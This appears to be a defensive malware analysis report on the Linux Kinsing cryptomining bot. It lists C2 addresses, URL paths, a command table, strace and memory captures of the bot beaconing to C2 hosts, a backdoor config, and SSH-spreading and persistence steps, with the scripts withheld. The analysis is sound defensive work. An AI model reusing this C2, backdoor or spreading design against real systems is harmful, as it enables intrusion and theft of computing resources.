《 1. Introduction 》
This is a public threat basis, there is no specific cases I handled is in relation to this threat, I have been kept following its progress for 4-5 years, and I think it is a good time to inform widely how dangerous the well-planned Linux malware/botnet would look like in this post. It has been more than six years since I finalized the first analysis and following it afterward. I have made sure that the botnet infrastructure described here is mostly inactive now, bare to old IOC for that is the safely state to share. And I think it is a good time for all of us to look back at how rude this malware was.
For learning and research reference, this material is a good example of how a Linux malware can do damage at multiple levels through worm-like infection stages — from one weak Redis or one leaked SSH key to a whole fleet of servers mining for somebody else.
Please do not use this report for bad purposes. The malicious scripts in this post are shown as images on purpose; they are here to be read and understood, not to be used nor run.
Linux/Kinsing is a Go-written ELF bot with remote command execution, coded by an actor who calls himself "nook" and operated by the SystemTen gang. The bot is mainly used to plant a tweaked XMRig miner, but it does much more than mining: encrypted C2 tasking, an on-demand backdoor, a SOCKS proxy, mass-scanning, Redis AUTH brute-forcing and SSH-key based spreading.
The infrastructure in this post is from the 2019–2020 case and is dead now, but the family is not. Kinsing (also tracked as H2Miner) kept evolving after this analysis, for example targeting Apache Tomcat servers in 2024 (Tenable) and running campaigns against companies in Russia in 2025 (F6 on Habr). So the techniques you will learn here are still relevant for defenders today.
■ How to read this post
- The case was reversed with radare2 and confirmed with syscall tracing (strace) and memory forensics on a recorded test infection.
- Gray ▸ lines are my original analysis notes, kept word for word.
- Dark code boxes hold dumps and indicators; the lines that matter most are highlighted in red.
- What to learn here boxes explain, for students, what you should take away from each piece of data.
- The chapters follow the attack from the binary → the network → the infection steps → spreading → detection.
- Never run real samples outside an isolated lab (no bridged network, snapshots ready, no real credentials or SSH keys inside).
- A good analysis combines static reversing (what the code can do) with dynamic tracing and forensics (what it actually did). This post uses both.
《 2. Threat information and the bot scheme 》
This chapter puts the whole case in one place: what this bot is, who coded it, where Patient-0 got it from and why it is dangerous. Every point is detailed in the later chapters.
SystemTen used new ELF bot with RCE function for mining support
They called this bot as "kinsing" coded by "nook"
The initial script installer & miner ELF file were embedded
It is an evolution moniker of this bot: https://imgur.com/a/H7YuWuj
Case detection dated: Dec, 2019. Threat origin: PRC/China
Patient0 had infection from pastebin at https://pastebin.com/f4fYBPLe
This bot has a built in function to scan+infect a weak auth redis system.
The massscan fucntion is downloading ssh scanner tool to be executing from the bot RCE.
RCE and backdoor function is lethal to the system infected by suid0, and-
critical infrastructure server's data can be posted to the C2 by backdoor or HTTP in encrypted form.
Severity: High.
The evolution of the bot's moniker is recorded here: imgur.com/a/H7YuWuj.
- Start every report with a short executive summary: what the threat is, how it gets in, what it does and how bad it is. Busy readers may read only this part.
- Note the initial vector (here a Pastebin-hosted script) separately from the capabilities (RCE, scanning, brute-force, backdoor). Defenders need both.
《 3. Binary information and major functionality 》
The sample is a big (16 MB+) statically compiled Go 1.13 ELF for x86-64, stripped. Go static binaries are fat because the whole runtime and every imported library are linked in. Most of the size is library code; the malicious logic sits in the main.* package.
MD5 6bffa50350be7234071814181277ae79 (VT has sample, not exclusive) SHA-1 2cb455f23b352e27b1f2f60abd61b444d15fafb0 ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped Size 16.28 MB (17072128 bytes) GoLang 1.13 static compiled ELF,
- Always record the hashes and the
fileoutput first. They are your pivot points for VirusTotal, sandboxes and colleagues. (Adding SHA-256 is today's standard.) - "statically linked, stripped" means there are no dynamic imports to read. For Go, function names still survive in
.gopclntab, so use Go-aware tooling (radare2 Go analysis, GoReSym, redress). - A 16 MB binary for a "simple bot" is a hint that something is embedded inside. Later we find a miner and scripts packed in it.
- Embedding miner binary and shell script installer
- Networking is on HTTP, supporting http with proxy and socks5
- File creation, file deletion, file dropping, file downloading,
- Receiving command from C2 on encrypted HTTP communication & execution them.
- Scanning redis servers, bruteforce them
- Having Remote Command Execution to OS command or execution on shellscripts.
- Have a self updating scheme.
- Have the persistence installer scheme, persistent on crontab
- Have specific commands for miner infection and management purpose.
- The bot downloads and drops scripts that can uninstall legit systems and can replace them with malicious contents.
- The bot C2 is more than 4.
- The callback IP addresses for the bot and script installers is more than 5.
- Infected machine data is sent to C2 via HTTP header and bot sent HTTP data encrypted traffic.
- The backconnect command also exists for reverse shell purpose.
- Has the backdoor function
- Turn a capability list like this into questions for your analysis: where is the code for each item, and what evidence (traffic, files, processes) does each one leave?
- Several items here (crontab persistence, uninstalling security agents, killing other miners) are typical of the Linux cryptojacking ecosystem, not only of kinsing.
《 4. C2, protocol and network indicators 》
The C2 list is hardcoded in the binary as one string separated by ;http://. The bot simply tries the C2s one by one over plain HTTP on tcp/80.
45.10.88.102:80 91.215.169.111:80 139.99.50.255:80 46.243.253.167:80 195.123.220.193:80
[0x01193247 [Xadvc]3 22% 2304 kinsing]> prx @ hit2_1 - offset - 0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF 0x01193247 45.10.88.102;http://91.215.169.111;http://139.99.50.255;http://4 0x01193287 6.243.253.167;http://195.123.220.193............................ 0x011932c7 ................................................................
- Searching strings with radare2 (
/ http://and then printing the hit) is often the fastest way to find C2s in a bot. Notice how the list is packed into one string. - Five C2s give redundancy: blocking only one of them does not stop the bot. Always collect the full list.
HTTP/1.1, port tcp/80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Arch: {CPU Architecture}
Cores: {CPU Core numbers}
Mem: {Active allocable memory}
Os: {linux}
Osname: {distribution info}
Osversion: {OS version}
Root: {true|false}
Uuid: {BOT UUID}
Version: {28}
- The User-Agent pretends to be Chrome 78 on Windows, which is a strange choice for a Linux server bot. This kind of mismatch is a classic network detection idea.
- The custom headers (
Arch,Cores,Mem,Os,Uuid,Version) are sent in clear text. They make a very reliable IDS signature even though the body is encrypted.
- When the private key is inside the bot, the "encryption" protects the operator only from casual eyes. An analyst who extracts the key can decrypt the traffic. The key is shown in the captured traffic chapter.
embeded, and downloaded scripts: 217.12.221.244:80 195.3.146.118:80 miner pools set by the bad actor: stratum+tcp: // 45[.]89.230.240:80 stratum+tcp: // 178[.]170.189.5:80 stratum+tcp: // 92[.]63.99.17:80
pass x 42J8CF9sQoP9pMbvtcLgTxdA2KN4ZMUVWJk6HJDWzixDLmU2Ar47PUNS5XHv4Kmfdh8aA9fbZmKHwfmFo8Wup8YtS5Kdqh2
- Mining pools and a wallet address tie infections together. The same wallet across many cases means the same operator, which is useful for clustering in CTI.
- Note the trick of running stratum over port 80 so the traffic blends in with normal web traffic and passes simple firewalls.
《 5. Bot commands and C2 URL scheme 》
Each C2 task arrives as a command keyword, and each keyword maps to a Go function in the main package. The table below pairs each original function with the command that triggers it.
BOT FUNCTIONS() , BOT COMMANDS ------------------------------- runTaskWithHttp() // "request" runTaskWithScan() // "scan" updateTask() // "update" startCmd() // "exec" execTaskOut() // "execoutput" runTask(),tcpTask()// "tcp" masscan() // "massscan" backconnect() // "backconn" socks() // "socks" makeClient() // "up" redisBrute() // redis_brute
- Mapping command → function is the core of bot reversing. Once you have this table you can explain every capability and predict the traffic for each command.
http://{C2-IP}/s => POST initial infection data
http://{C2-IP}/h => reply "c." (up)
http://{C2-IP}/get => receiving encrypted command
http://{C2-IP}/hers => UNKNOWN
http://{C2-IP}/mg => UNKNOWN
http://{C2-IP}2/o => post encrypted DATA
http://{C2-IP}/spre.sh => updater for kinsing installer script
http://{C2-IP}/al.sh => uninstaller for services like quartz etc
http://{C2-IP}/cron.sh => persistence installer
http://{C2-IP}/kinsing => update bot binary url
- Short URL paths like
/s,/h,/getand/oare the bot's API. They are great for hunting in proxy logs: look for the paths together with the custom headers from the network chapter. - "UNKNOWN" entries are honest analysis: write down what you could not confirm instead of guessing. That is the check-and-recheck habit.
《 6. Captured C2 traffic and the embedded RSA key 》
The snippets below are memory captures taken while the bot was running, which is the forensic view of the same traffic. They show that the clear-text HTTP header leaks the victim's profile, while the body is encrypted.

- Finding the full downloaded script inside process memory proves it was fetched and handled by the bot. That is stronger evidence than a URL in the binary.
- Look at the reply header too:
Server: nginx/1.14.2andLast-Modifiedhelp you fingerprint and date the attacker's server.
0xc000185000 504f 5354 202f 6f20 4854 5450 2f31 2e31 0d0a 486f POST /o HTTP/1.1..Ho 0xc000185014 7374 3a20 3931 2e32 3135 2e31 3639 2e31 3131 0d0a st: 91.215.169.111.. 0xc000185028 5573 6572 2d41 6765 6e74 3a20 4d6f 7a69 6c6c 612f User-Agent: Mozilla/ 0xc00018503c 352e 3020 2857 696e 646f 7773 204e 5420 3130 2e30 5.0 (Windows NT 10.0 0xc000185050 3b20 5769 6e36 343b 2078 3634 2920 4170 706c 6557 ; Win64; x64) AppleW 0xc000185064 6562 4b69 742f 3533 372e 3336 2028 4b48 544d 4c2c ebKit/537.36 (KHTML, 0xc000185078 206c 696b 6520 4765 636b 6f29 2043 6872 6f6d 652f like Gecko) Chrome/ 0xc00018508c 3738 2e30 2e33 3930 342e 3130 3820 5361 6661 7269 78.0.3904.108 Safari 0xc0001850a0 2f35 3337 2e33 360d 0a43 6f6e 7465 6e74 2d4c 656e /537.36..Content-Len 0xc0001850b4 6774 683a 2032 300d 0a41 7263 683a 2061 6d64 3634 gth: 20..Arch: amd64 0xc0001850c8 0d0a 436f 6e74 656e 742d 5479 7065 3a20 6170 706c ..Content-Type: appl 0xc0001850dc 6963 6174 696f 6e2f 6f63 7465 742d 7374 7265 616d ication/octet-stream 0xc0001850f0 0d0a 436f 7265 733a 2031 0d0a 4d65 6d3a 2032 3434 ..Cores: 1..Mem: 244 0xc000185104 0d0a 4f73 3a20 6c69 6e75 780d 0a4f 736e 616d 653a ..Os: linux..Osname: 0xc000185118 2064 6562 6961 6e0d 0a4f 7376 6572 7369 6f6e 3a20 debian..Osversion: 0xc00018512c 372e 3131 0d0a 526f 6f74 3a20 6661 6c73 650d 0a55 7.11..Root: false..U 0xc000185140 7569 643a 2033 3066 3433 3762 332d 6338 3836 2d34 uid: 30f437b3-c886-4 0xc000185154 6130 652d 3732 3334 2d34 6630 3335 3237 3833 3665 a0e-7234-4f03527836e 0xc000185168 370d 0a56 6572 7369 6f6e 3a20 3238 0d0a 4163 6365 7..Version: 28..Acce 0xc00018517c 7074 2d45 6e63 6f64 696e 673a 2067 7a69 700d 0a0d pt-Encoding: gzip... 0xc000185190 0a57 7a68 50cb 0cdf 76fb 128e d736 14b3 4aa1 2953 .WzhP...v....6..J.)S
- Read the hexdump columns: offset | hex bytes | ASCII. The ASCII column shows the victim profile headers (Arch amd64, 1 core, Debian 7.11, not root), followed by the encrypted body.
0xc000184000 4854 5450 2f31 2e31 2032 3030 204f 4b0d 0a53 6572 HTTP/1.1 200 OK..Ser 0xc000184014 7665 723a 206e 6769 6e78 2f31 2e31 302e 330d 0a44 ver: nginx/1.10.3..D 0xc000184028 6174 653a 2053 756e 2c20 3136 2046 6562 2032 3032 ate: Sun, 16 Feb 202 0xc00018403c 3020 3131 3a33 323a 3432 2047 4d54 0d0a 436f 6e74 0 11:32:42 GMT..Cont 0xc000184050 656e 742d 5479 7065 3a20 7465 7874 2f70 6c61 696e ent-Type: text/plain 0xc000184064 3b20 6368 6172 7365 743d 7574 662d 380d 0a43 6f6e ; charset=utf-8..Con 0xc000184078 7465 6e74 2d4c 656e 6774 683a 2032 0d0a 436f 6e6e tent-Length: 2..Conn 0xc00018408c 6563 7469 6f6e 3a20 6b65 6570 2d61 6c69 7665 0d0a ection: keep-alive.. 0xc0001840a0 0d0a 6313 577a 6850 cb0c df76 fb12 8ec7 2e10 b74a ..c.WzhP...v.......J 0xc0001840b4 a129 158e 17bc b9af b2ed e55c c645 9518 4e85 78da .).........\.E..N.x. 0xc0001840c8 9b95 2511 fe3f 87ae 13ac edbe baac 7270 04b4 2f62 ..%..?........rp../b 0xc0001840dc d8b5 2f8f 8680 9485 e0c9 5900 ee9f 26c0 fe2c 6f9b ../.......Y...&..,o. 0xc0001840f0 0d93 333b fbef ee7e 72d2 b8c4 7d4d 1716 5732 9f01 ..3;...~r...}M..W2.. 0xc000184104 c559 4064 d108 514a d02e eed5 3b9f 72b1 a212 bf2e .Y@d..QJ....;.r..... 0xc000184118 ee51 5a64 68ac 1b93 ac38 2001 b802 0fc0 4806 c1b1 .QZdh....8 .....H... 0xc00018412c f982 6b00 0000 0000 0000 0000 0000 0000 0000 0000 ..k.
Content-Type: text/plainon an encrypted binary blob is another anomaly worth a detection rule.

- Hardcoded keys are a gift to analysts. With this key the C2 commands can be decrypted, which is exactly how the backdoor configuration was recovered.
- Memory forensics often recovers secrets that never touch the disk. Dump the process memory before you kill the process.
《 7. Bot overall design 》
This is the whole picture in one textual diagram. Read it from the top-left: the installer (or the Pastebin script) brings in the kinsing ELF; kinsing drops its embedded script and its embedded miner; the C2 command actions then branch out into script execution, cron persistence, mass-scanning, killing services and Redis AUTH brute-forcing. Finally spre.sh loops back to the installer for self-updating.
+--------------------+ | kinsing installer/ | +----------------------------------------<---------------------+ | pastebin script | | | +--------+-----------+ | | | v | | +------------------+ | +-> | kinsing ELF | | +---------> +------------------+ +----------------+ | | | embedded script +------> | /tmp/.ICEd-uni+---+ | | +------------------+ +----------------+ | | | | | +----------------+ | +------------------+ | | | embedded ELF +------> | /tmp/kdevtmpfs| +->| downloaded | | | +--------+---------+ | | | spre.sh (updater|-->-+ | | +----------------+ +------------------+ | | | | +-----------------------------+ +-------------------+ | | | C2 bot command's actions |----> |C2 script execution| | +------------> |-----------------------------| +-------------------+ | | | | | http://{C2-IP}/s | +-------------------+ | | http://{C2-IP}/h |----> |cron installer/sh | | | http://{C2-IP}/get | +-------------------+ | | http://{C2-IP}/hers | +-------------------+ +-----------<------------------------| http://{C2-IP}2/o |----> | massscan script | | http://{C2-IP}/spre.sh | +-------------------+ | http://{C2-IP}/al.sh | +-------------------+ | http://{C2-IP}/cron.sh |----> |svc uninstaller/sh | | http://{C2-IP}/kinsing | +-------------------+ | | +-------------------+ | |----> | Redis access brute| +-----------------------------+ +-------------------+
- Draw a diagram like this before you write the report. It forces you to understand how the parts connect, and readers grasp a design far faster from a picture than from text.
- Notice the two loops: the C2 → bot loop (tasking) and the
spre.sh→ installer loop (self-update). Loops like these make malware resilient, because cleaning one part is not enough.
《 8. Full list of kinsing main functions 》
These are the original main.* function names recovered from the stripped Go binary, with their addresses. Go keeps function names in .gopclntab even when the binary is stripped, which is why reversing Go bots is easier than it first looks.
doTask = 0x0790B70 main = 0x0792560 redisBrute = 0x07A1A60 DownloadFile = 0x0799B40 Hosts = 0x07A2180 RC4 = 0x079A270 RandStringRunes = 0x07A2080 addResult = 0x079B1F0 backconnect = 0x079F2F0 checkHealth = 0x0798E80 connectForSocks = 0x079B420 contains = 0x07A2480 copyFileContents = 0x0795A70 doRequestWithTooManyOpenFiles = 0x079A420 downloadAndExecute = 0x07A1A10 encStruct = 0x0799A90 execTaskOut = 0x079C3B0 getMinerPid = 0x0798A40 getOrCreateListForTaskResult = 0x079B290 getOrCreateUuid = 0x079B7A0 getTargets = 0x07969B0 getTask = 0x0796530 getWriteableDir = 0x0795C40 hash_file_md5 = 0x07A2540 healthChecker = 0x07939C0 init = 0x07A49A0 init_0 = 0x0792380 isMinerRunning = 0x0793DA0 makeClient = 0x079A0C0 masscan = 0x079E5A0 minRun = 0x0794290 minerRunningCheck = 0x0793B20 move = 0x079B980 request = 0x079F340 resultSender = 0x079AD80 runTask = 0x079BB00 runTaskWithHttp = 0x079C400 runTaskWithScan = 0x079CCD0 runcmd = 0x0790F60 sendMinerPid = 0x0798600 sendResult = 0x0797A10 sendSocks = 0x0798130 setExecOutput = 0x07995E0 setLog = 0x0799160 socks = 0x079F2A0 startCmd = 0x07914A0 startCmdWithOutputSingle = 0x0791960 startSocks = 0x0795E40 taskScan = 0x079E2A0 taskWithHttpWorker = 0x079C9B0 taskWithScanWorker = 0x079D070 taskWorker = 0x079C0A0 tcpTask = 0x07A0A50 updateTask = 0x079D390
- Group the names by purpose: tasking (
getTask,runTask*), mining (minRun,isMinerRunning), spreading (masscan,redisBrute), remote access (backconnect,socks) and housekeeping (healthChecker,getOrCreateUuid). This grouping becomes your report outline. - Interesting names to read first:
RC4andencStruct(crypto), andgetWriteableDir(where it drops files).
《 9. Infection state (recorded test) 》
Recorded test infection. The lsof view shows the lock file, the backdoor socket already LISTENing, the C2 sessions and a deleted work file under /tmp/.ICEd-unix/. The process tree shows kinsing re-forked and detached, living like a daemon under init.
kinsing 2721 MMD cwd DIR 8,1 4096 397369 /home/test kinsing 2721 MMD rtd DIR 8,1 4096 2 / kinsing 2721 MMD txt REG 8,1 17072128 396829 /home/test/kinsing kinsing 2721 MMD 0r CHR 1,3 0t0 1205 /dev/null kinsing 2721 MMD 1w CHR 1,3 0t0 1205 /dev/null kinsing 2721 MMD 2w CHR 1,3 0t0 1205 /dev/null kinsing 2721 MMD 3uW REG 0,15 0 5995 /run/lock/linux.lock kinsing 2721 MMD 4u 0000 0,9 0 1203 anon_inode kinsing 2721 MMD 7r IPv6 6357 0t0 TCP *:31652 (LISTEN) kinsing 2721 MMD 5r CHR 1,9 0t0 1210 /dev/urandom kinsing 2721 MMD 6u IPv4 6029 0t0 TCP 10.0.2.15:42646->91.215.169.111:80 (CLOSE_WAIT) kinsing 2721 MMD 9r IPv4 6671 0t0 TCP 10.0.2.15:42654->91.215.169.111:80 (ESTABLISHED) kinsing 2721 MMD 12r REG 8,1 4 1310783 /tmp/.ICEd-unix/259292916 (deleted) kinsing 2721 MMD 13u IPv4 6515 0t0 TCP 10.0.2.15:50261->217.12.221.244:80 (ESTABLISHED)
lsof -p <pid>is one of the best live-response commands on Linux. In one view you get files, sockets, the lock file and even deleted files that are still open.- A file marked
(deleted)can still be recovered from/proc/<pid>/fd/<n>while the process runs. Grab it before you kill the process!
init ├─udevd --daemon │ ├─udevd --daemon ├─rpcbind -w ├─rpc.statd ├─rpc.idmapd ├─rsyslogd -c5 │ └─3*[{rsyslogd}] ├─acpid ├─getty 38400 tty1 ├─getty 38400 tty2 ├─getty 38400 tty3 ├─getty 38400 tty4 ├─getty 38400 tty5 ├─getty 38400 tty6 | ├─kinsing <==== // after re-forked & detached from- │ └─5*[{kinsing] // environment, runs like daemon
- A process that is a direct child of init/systemd, not attached to any terminal and named like nothing you installed deserves a look. Daemonizing hides the process's origin, but not its parent.
《 10. Infrastructure used by the attacker 》
All IPs found in the bot, its scripts and its miner configuration, with reverse DNS, ASN, prefix, AS name and country. The C2 and download servers are spread over hosting in UA, RU, NL, FR and LV.
45.10.88.102 | takewyn4.com.ntup.network. |48693 | 45.10.88.0/23 | NTSERVICE-AS | UA 91.215.169.111 | bh63797.dnsrus.net. |49693 | 91.215.168.0/22 | BEST-HOSTER | RU | 139.99.50.255 | ip255.ip-139-99-50.net. |16276 | 139.99.0.0/17 | OVH | FR | 46.243.253.167 | |58272 | 46.243.253.0/24 | LEADERTELECOMBV-AS | NL | 195.123.220.193 | vds-426960.hosted-by-itldc.com. |21100 | 195.123.216.0/21 | ITLDC-NL | UA | 217.12.221.244 | vds-448534.hosted-by-itldc.com. |15626 | 217.12.220.0/22 | ITLAS | UA | 195.3.146.118 | |41390 | 195.3.144.0/22 | RN-DATA- | LV | 45.89.230.240 | |51659 | 45.89.230.0/24 | ASBAXET | RU | 178.170.189.5 | |58272 | 178.170.189.0/24 | LEADERTELECOMBV-AS | NL | 92.63.99.17 | k0miza2.vps. |29182 | 92.63.96.0/21 | THEFIRST-AS | RU |
- Enrich every IP with ASN, prefix and hosting provider. Patterns (cheap VPS providers, the same AS used twice, such as AS58272 here) help you find more attacker servers.
- Infrastructure changes quickly. Always record the date you observed it, and re-check before blocking.
《 11. The backdoor function 》
The backdoor is not always on. It is opened on demand by the C2, and the port and password are chosen by the attacker for each session.
kinsing 2721 MMD 7r IPv6 6357 0t0 TCP *:31652 (LISTEN)
$ nc -v -v -v -z localhost 31652 localhost [127.0.0.1] 31652 (?) open scan test sent 10, rcvd 0 $
{
{
"Id":516,
"Data":""
}
"Pass":"qmjiHfuW",
"Port":31652
} keep-alive 31652
the trigger of the backdoor is the command from C2 called backconn.
the attacker will send the encrypted REST API and that will open the backdoor in the client.
the port number is depend on the attacker, no significant port is open.
Decrypted command from c2 will look like below:
{"Id":504,"Data":""}Pass":"SkMNRTlf","Port":31105}
- A random high port opening suddenly (here 31652) on a server is a strong signal. Baseline the listening ports on your servers and alert on new ones.
- Testing the port with
ncsafely confirmed it was open. Cracking the config then explained why it opened. Use both: observe, then explain.
《 12. How the process works, step by step 》
Now let's follow the infection step by step, as recorded by syscall tracing and confirmed by memory forensics. Each sub-section follows the order in which things happen on the infected box.
■ 11.1 Lock file, work directory, dropped files and host profiling
/var/lock/linux.lock
/tmp/.ICEd-unix/
/tmp/.ICEd-unix/uuid // bit ID (uuid)
/tmp/.ICEd-unix/{random} // shell scriptinstaller placeholder/work files
/tmp/kdevtmpfs (miner)
/etc//localtime /proc/stat /usr/bin/getconf -a /proc/meminfo uuid /etc/lsb-release /usr/local/bin/lsb_release /usr/bin/lsb_release /proc/meminfo /proc/filesystems",
- A lock file stops two copies of the bot from running at once. For defenders it is also a cheap host IOC.
/tmp/.ICEd-unix/imitates the legitimate X11 directory/tmp/.ICE-unix/, and the miner namekdevtmpfsiimitates the kernel'skdevtmpfs. One letter of difference is a classic masquerading trick.
readlink("/usr/bin/python", "python2.7"..., 4096)
/usr/bin/python2.7
/usr/bin/Modules/Setup"
/usr/bin/lib/python2.7/os.py"
/usr/bin/lib/python2.7/lib-dynload"
:
execve("/usr/local/bin/dpkg-query"
execve("/usr/bin/dpkg-query",
open("/var/lib/dpkg/arch
open("/var/lib/dpkg/status"
/etc/oracle-release
/etc/enterprise-release",
/etc/slackware-version",
/etc/debian_version
"/usr/bin/raspi-config
/etc/debian_version
/var/lib/dpkg/updates/"
/var/lib/dpkg/triggers/File"
read(3, "/usr/share/info install-info\n/usr/man man-db\n/usr/share/man man-db\n
/usr/local/man man-db\n/usr/local/share/man man-db\n/usr/X11R6/man.....
/var/lib/dpkg/triggers/Unincorp"
- Profiling the OS, package manager and Python install tells the bot how to install things later (yum or apt). Bursts of reads of
/etc/*-releaseand dpkg files from an unknown process are suspicious.
■ 11.2 First contact to the C2: the "up" handshake and getting tasks
socket(PF_INET, SOCK_STREAM|SOCK_CLOEXEC|SOCK_NONBLOCK, IPPROTO_IP)
setsockopt(6, SOL_SOCKET, SO_BROADCAST, [1], 4)
connect(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("45.10.88.102")}, 16 <unfinished ...>
getsockopt(6, SOL_SOCKET, SO_ERROR, <unfinished ...>
close(6)
connect(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91.215.169.111")}, 16 <unfinished ...>
getpeername(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91.215.169.111")}, [16]) = 0
write(6, "GET /h HTTP/1.1\r\nHost: 91.215.169.111\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Arch: amd64\r\n
Cores: 1\r\n
Mem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: 75d40ac8-8af6-4bb7-6049-499237623cf9\r\n
Version: 28\r\nAccept-Encoding: gzip\r\n\r\n");
read(6, "HTTP/1.1 200 OK\r\n
Server: nginx/1.10.3\r\n
Date: Thu, 13 Feb 2020 09:35:38 GMT\r\n
Content-Type: text/plain; charset=utf-8\r\n
Content-Length: 2\r\n
Connection: keep-alive\r\n\r\n
c\23", 4096)
write(6, "GET /get HTTP/1.1\r\nHost: 91.215.169.111\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Arch: amd64\r\n
Cores: 1\r\n
Mem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: 75d40ac8-8af6-4bb7-6049-499237623cf9\r\n
Version: 28\r\nAccept-Encoding: gzip\r\n\r\n");
read(6, "HTTP/1.1 200 OK\r\n
Server: nginx/1.10.3\r\n
Date: Thu, 13 Feb 2020 09:35:49 GMT\r\n
Content-Type: text/plain; charset=utf-8\r\n
Content-Length: 140\r\n
Connection: keep-alive\r\n\r\n
WzhP\313\f\337v\374\22\216\307.\20\267J\241)\25\216\27\274\271\257\262\355\345\\\306E\225\30N\205x\332\233\225%\21\376?\207\256\23\254\355
\276\262\254sz\7\241!\24\343\256:\202\310\230\237\202\347\300P\7\364\221P\374\344;k\236K\2138&\365\235\321ct\204\240\317`Ca+S:\225\33\304
\17Xo\314\0067o\305;\255\315#\325n\261\246X\252.\363R\\}w\257\7\217\254;?\35\276\2\24\214[\5\201\354\342\3104\35", 4096) = 304
WzhP313f337v37422216307.20267J241)2521627274271257262355345\306E22530N205x332233225%21376?20725623254355
276262254sz7241!24343256:202310230237202347300P7364221P374344;k236K2138&365235321ct204240317`Ca+S:22533304
17Xo3140067o305;255315#325n261246X252.363R\}w2577217254;?35276224214[5201354342310435
- strace shows the exact bytes the bot writes to and reads from the socket, which is much clearer than a pcap when the protocol is custom.
- Failover behavior (trying the next C2 after a failed connect) explains why you see SYNs to several IPs from one infected host.
■ 11.3 The embedded SSH spreader script
The script collects private keys, users, hosts and SSH ports from ~/.ssh/config, known_hosts, /etc/hosts, bash histories and running processes. It then tries every combination to push the installer to other machines. This is worm-like lateral movement that abuses keys the victim already trusts.


- This is the worm stage. No exploit is needed: the bot reuses SSH keys and hosts that the admin already trusts. One infected box can reach every server its keys open.
- Defense: no passphrase-less private keys on servers, restrict
authorized_keysby source (from=), and watch for bursts of outgoing non-interactive SSH connections that skip host-key verification. - Note the throttling (sleep after every 20 tries) and the cleanup of hanging ssh processes. The author cared about not being noticed.
■ 11.4 Execution of the dropped script and the spr.sh updater / bot-killer
Highlights of spr.sh: it removes syslog, disables the firewall, SELinux and AppArmor, uninstalls Alibaba and Tencent cloud security agents, then kills a very long list of competing miners, botnets and Docker images. It re-downloads kinsing (with an MD5 check and three fallback URLs) and installs cron persistence. The image is scrollable; the key lines are highlighted.

- Defense evasion first: logs deleted, firewall flushed, SELinux and AppArmor disabled, and cloud security agents removed before the payload runs. If your monitoring agent dies suddenly, treat that as an alert by itself.
- Competition: the huge kill list shows that Linux servers are a battlefield where miners kill each other. The names and IPs in it are a free list of other threats to hunt for.
- Resilience: MD5 self-check, three download sources (including a public code-hosting site) and a cron job every minute. Cleaning only the binary is useless if the cron entry stays.
■ 11.5 Cron persistence installer

open("crontabs/tmp.4J0udL",
- Persistence via an every-minute cron entry that downloads a script and pipes it to a shell is the most common Linux malware persistence. During incident response, review the crontab of every user and the system cron spool directory.
- The cron-cleaning lines delete competitors' cron entries. Rival campaigns can be identified from these patterns too.
■ 11.6 Logging to /dev/log and the success callback to C2
socket(PF_FILE, SOCK_DGRAM|SOCK_CLOEXEC, 0)
connect(3, {sa_family=AF_FILE, path="/dev/log"}, 110
sendto(3, "<78>Feb 13 09:24:08 crontab[7858]: (USERNAME) LIST (USERNAME)",
7843 write(6, "POST /s HTTP/1.1\r\n
Host: 91.215.169.111\r\n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\r\n
Content-Length: 50\r\n
Arch: amd64\r\n
Content-Type: application/octet-stream\r\n
Cores: 1\r\n
Mem: 244\r\n
Os: linux\r\n
Osname: debian\r\n
Osversion: 7.11\r\n
Root: false\r\n
Uuid: 75d40ac8-8af6-4bb7-6049-499237623cf9\r\nVersion: 28\r\n
Accept-Encoding: gzip\r\n
\r\n
WztG\214D\310|\355R\317\3372\7\2279\336)]\3030\263\246\263\361\263\230m\330n\246\5l\232
V\332\233\225%\f\343,\327\361S\356\372\260\273\340",
451 )
WztG214D310|355R317337272279336)]3030263246263361263230m330n2465l232V3 32233225%f343,327361S356372260273340
- The crontab change leaves a syslog entry (
crontab[pid]: (USER) LIST), which is a forensic artifact even after the attacker cleans up. POST /sis the "I am infected and set up" report. Seeing it in proxy logs means the infection completed.
■ 11.7 The embedded miner: a tweaked XMRig
The miner is packed into the bot with pkger. The data below is the pkger index followed by the base64 of the ELF (rendered as an image, since it is the payload itself). It also leaks the coder's build path /home/nook/go/src/my/bot and the build timestamp (2019-12-29).

> ? 0xc0006ae001 - 0xc000a7f915 = 4004116 0x3d1914 017214424 3.8M
[0x00732868 [xAdvc]0 0% 180 eeeeelf]> pd $r @ str.XMRig_5.5.0___built_on_Dec_29_2019_with_GCC
;-- "XMRig 5.5.0\n built on Dec 29 2019 with GCC":
;-- hit0_1:
0x00732868 .string "XMRig 5.5.0\n built on Dec 29 2019 with GCC" ; len=43
0x00732893 0000 add byte [rax], al
0x00732895 0000 add byte [rax], al
0x00732897 ~ 006661 add byte [rsi + 0x61], ah
;-- "failed to export hwloc topology.\n":
0x00732898 .string "failed to export hwloc topology.\n" ; len=34
||||| 0x007328ba 0000 add byte [rax], al
||||| 0x007328bc 0000 add byte [rax], al
||||| 0x007328be 0000 add byte [rax], al
||||| ;-- "hwloc topology successfully exported to "%s"\n":
||||| 0x007328c0 .string "hwloc topology successfully exported to \"%s\"\n" ; len=46
|||| 0x007328ee 0000 add byte [rax], al
|||| ;-- "Unexpected end of regex when escaping.":
|||| 0x007328f0 .string "Unexpected end of regex when escaping." ; len=39
||| 0x00732917 ~ 00556e add byte [rbp + 0x6e], dl
||| ;-- "Unexpected end of regex when reading control code.":
||| 0x00732918 .string "Unexpected end of regex when reading control code." ; len=51
